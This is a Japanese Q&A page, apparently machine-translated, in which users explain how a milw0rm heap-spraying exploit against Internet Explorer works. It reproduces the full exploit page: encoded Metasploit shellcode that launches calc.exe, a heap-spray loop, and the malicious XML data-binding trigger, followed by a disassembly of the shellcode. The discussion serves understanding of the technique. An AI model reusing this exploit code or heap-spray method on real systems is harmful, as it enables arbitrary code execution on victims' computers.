[解決済み] milw0rm ヒープスプレイングエクスプロイトの仕組みは?
質問
普段はJavaScriptのコードを読むのは苦にならないのですが、このコードだけはロジックがわかりません。このコードは、4日前に公開されたexploitのものです。以下のサイトで見ることができます。 milw0rm .
以下はそのコードです。
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
以下は、私が信じていることですが、私が誤解している部分についてご教示ください。
変数
shellcode
を開くためのコードが含まれています。
calc.exe
. どうやってこの奇妙な文字列を見つけたのか、私にはわかりません。何か思い当たることはありますか?
もうひとつは、変数
spray
. 私はこの奇妙なループを理解していません。
3つ目は、変数
memory
は、どこにも使われることがない。なぜそれを作るのでしょうか?
最後に、XMLタグはページ内でどのような役割を担っているのでしょうか?
今のところ、良い回答がありますが、ほとんどが非常に一般的なものです。コードの価値についてもっと説明が欲しいです。例えば、次のようなものです。
unescape("%u0a0a%u0a0a");
. これはどういう意味ですか?ループの場合も同じです。開発者はなぜ書いたのでしょう。
length < 0xd0000
? このコードの理論だけでなく、より深い理解が欲しいです。
どのように解決するのですか?
シェルコードには、実際のエクスプロイトを行うためのいくつかのx86アセンブリ命令が含まれています。
spray
は、長い命令列を作成し、それを
memory
. 通常、メモリ内のシェルコードの正確な位置を知ることはできないので、大量の
nop
の前に命令を出し、そのどこかにジャンプする。その
memory
配列には実際の x86 コードとジャンプ機構が格納されます。バグを持つライブラリに、細工したXMLを送り込みます。XMLが解析される際に、このバグによって命令ポインタ・レジスタが我々の悪用するどこかに割り当てられ、任意のコードの実行につながります。
より深く理解するためには、実際にx86のコードの中身を把握する必要があります。
unscape
は、文字列を表すバイト列を
spray
という変数があります。ヒープの大きな塊を埋め、シェルコードの開始点にジャンプする、有効なx86コードです。終了条件の理由は、スクリプトエンジンの文字列長の制限です。特定の長さ以上の文字列を持つことはできないのです。
x86アセンブリの場合。
0a0a
は
or cl, [edx]
. と事実上同じです。
nop
という命令で、この悪用が可能になります。のどこにジャンプしても
spray
そして、実際に実行したいコードであるシェルコードに到達するまで、次の命令を実行することになります。
XMLを見ると、以下のようになります。
0x0a0a
もありますね。何が起こるかを正確に記述するには、エクスプロイトに関する特定の知識が必要です(どこにバグがあり、どのようにエクスプロイトされるかを知らなければなりませんが、私は知りません)。しかし、どうやらInternet Explorerに強制的にバグのあるコードを発動させるために
innerHtml
をその悪意のあるXML文字列に変換します。Internet Explorerはそれを解析しようとし、バグったコードは何らかの方法で配列が存在するメモリの場所(大きな塊なので、そこに飛ぶ確率が高い)に制御を委ねるのです。そこにジャンプすると、CPUは実行し続けることになります。
or cl, [edx]
の命令で、メモリに配置されたシェルコードの先頭に到達するまで。
シェルコードを逆アセンブルしてみました。
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
このシェルコードを理解するには、JavaScriptではなく、x86アセンブリの知識とMSライブラリ自体の問題(ここに到達したときのシステム状態がどうなっているかを知るため)が必要です このコードは順番に次のように実行されます。
calc.exe
.
関連
-
[解決済み] 期待される代入または関数呼び出し: 未使用式なし ReactJS
-
[解決済み】<select>で現在選択されている<option>をJavaScriptで取得するにはどうすればよいですか?
-
OSSアップロードエラーを解決する: net::ERR_SSL_PROTOCOL_ERROR
-
[解決済み] 配列から特定の項目を削除するにはどうすればよいですか?
-
[解決済み] JavaScriptで "use strict "は何をするのか、その根拠は?
-
[解決済み] JavaScriptで文字列が部分文字列を含むかどうかを確認する方法は?
-
[解決済み] AngularJSでデータバインディングはどのように機能するのですか?
-
[解決済み】別のウェブページにリダイレクトするにはどうすればいいですか?
-
[解決済み] Intel CPU の _mm_popcnt_u64 で、32 ビットのループカウンターを 64 ビットに置き換えると、パフォーマンスが著しく低下します。
-
[解決済み】オブジェクトからプロパティを削除する(JavaScript)
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
Vueがechartsのtooltipにクリックイベントを追加するケーススタディ
-
JavaScriptにおけるマクロタスクとミクロタスクの詳細
-
jQueryのコピーオブジェクトの説明
-
vueはopenlayersを使用してスカイマップとガオードマップをロードする
-
Vueでルートネスティングを実装する例
-
[解決済み】gulp anythingを実行するたびに、アサーションエラーが発生します。- タスク関数を指定する必要があります
-
[解決済み】TypeErrorの解決方法。未定義またはヌルをオブジェクトに変換できない
-
[解決済み】TypeScript-のAngular Frameworkエラー - "exportAsがngFormに設定されたディレクティブはありません"
-
[解決済み】ExpressJS : res.redirect()が期待通りに動かない?
-
JavaScriptのgetElementById()メソッド入門